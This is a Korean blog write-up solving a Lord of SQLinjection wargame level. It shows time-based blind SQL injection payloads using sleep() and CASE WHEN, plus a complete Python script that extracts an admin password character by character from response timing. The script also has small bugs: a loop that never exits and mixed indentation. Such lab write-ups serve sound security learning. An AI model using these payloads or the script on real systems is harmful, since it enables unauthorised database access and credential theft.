아우 이번에도 addslashes 함수에 걸리는 것으로 보아 자동화코드 해서 pw를 모두 구해야한다..

1) id와 pw에 모두 prob, _, . 필터링되어있다.

2) \  와 ' 도 필터링

3) id=admin에 맞는 pw를 찾아야 한다.

뭔가 이전에 풀었던 문제들과 유사했는데.. 뭘까.. 차이점을 찾아보자

가장 큰 차이점은 일부러 에러를 발생해봤는데 예전에는 query문을 보여주지 않았는데, 이 문제는 query를 보여주고 no hack ~_~ 을 띄운다.

즉, 2번 필터링 조건들은 query가 정상적으로 동작한 후 응답값을 No hack 으로 바꿔버리는 것이다. 필터링 조건은 있지만 query는 정상적으로 동작한다.

그러면 싱글쿼터가 정상 작동을 하니 No Hack ~_~ 이 메시지를 띄우는 시간 지연차이를 볼 수 있을 것 같다.

즉, timebased 가 가능하다는 것

payload : id = admin ' and sleep(10) # 

sleep 함수에 대한 필터링이 없기 때문에 timebased가 가능하다!

payload : id = admin ' and (case when 1=1 then sleep(10) else sleep(1) end)

case when 필터링도 없어서 조건이 참일 때 10초가 걸리는 것을 확인했다.

payload : id = admin ' and (case when 1=2 then sleep(10) else sleep(1) end) 

조건이 거짓일 때 1초가 걸리는 것을 확인했다. 

 


자동화 코드

#패스워드 길이 찾기
def pw_len():
    len_num = 0

    while 1 :
        len_num = len_num + 1
        
        start = time.time()
        math.factorial(100000)

        value = "admin' and (case when length(pw)={} then sleep(5) else sleep(1) end)#".format(len_num) #injection payload
        parmas = {'id': value}      
        
        response = requests.get(url,params=parmas, cookies=cookies)
        end = time.time()
        print(value + f"{end-start:.5f} sec")
 
    return len_num

혼자만 5초 이상 지연이 발생했다. 길이는 8 byte

def pw_real(len_num):
    pw=''
    for i in range(1,len_num+1):
        print(i,"번째 검색 중")

       
        for j in range(46, 122):  #아스키코드값 48번부터 122번
 
            start = time.time()   #시작시간
            math.factorial(100000)
            
            value = "admin' and (case when ascii(substr(pw,{},1))={} then sleep(5) else sleep(1) end)#".format(i,j) #injection payload
            parmas = {'id':value}
            response = requests.get(url, params=parmas, cookies=cookies)
            
            end = time.time()     #종료시간
            take_time = end - start  #소요시간
            

            print(value + "    time : " + str(take_time))
            #print("email: ", j)

            if take_time >5 and take_time<10:      #소요시간 5초 이상 10초 미만
                pw = pw + chr(j)    #chr(): 아스키코드값 -> 문자
                print("password  : ", pw)
                break
                
    return pw

시작은 좀..많이 걸리지만... 잘 나온다!

 

전체 코드

#LOS blue_dragon

import math
import time
import requests

url ="" #공격URL
cookies ={"PHPSESSID": ""} #쿠키값

#패스워드 길이 찾기
def pw_len():
    len_num = 0

    while 1 :
        len_num = len_num + 1
        
        start = time.time()
        math.factorial(100000)

        value = "admin' and (case when length(pw)={} then sleep(5) else sleep(1) end)#".format(len_num) #injection payload
        parmas = {'id': value}     

        
        response = requests.get(url,params=parmas, cookies=cookies)
        end = time.time()
        print(value + f"{end-start:.5f} sec")
 
    return len_num


#패스워드 찾기
def pw_real(len_num):
    pw=''
    for i in range(1,len_num+1):
        print(i,"번째 검색 중")

       
        for j in range(46, 122):  
 
            start = time.time()
	        math.factorial(100000)
            
            value = "admin' and (case when ascii(substr(pw,{},1))={} then sleep(5) else sleep(1) end)#".format(i,j) #injection payload
            parmas = {'id':value}
            response = requests.get(url, params=parmas, cookies=cookies)
            
            end = time.time()
            take_time = end - start
            

            print(value + "    time : " + str(take_time))
            #print("email: ", j)

            if take_time >5 and take_time<10:      
                pw = pw + chr(j)    
                print("password  : ", pw)
                break
    return pw


pw_real(pw_len())

 

solve!!!!!!!!!!

'WEB > Lord of SQLinjection' 카테고리의 다른 글

[LOS] step30. ouroboros 풀이  (0) 2023.07.05
[LOS] step28. FRANKENSTEIN 풀이  (0) 2023.07.03
[LOS] step26. red_dragon 풀이  (0) 2023.06.22
[LOS] step25. green_dragon 풀이  (0) 2023.06.21
[LOS] step24. evil_wizard 풀이  (0) 2023.06.21

+ Recent posts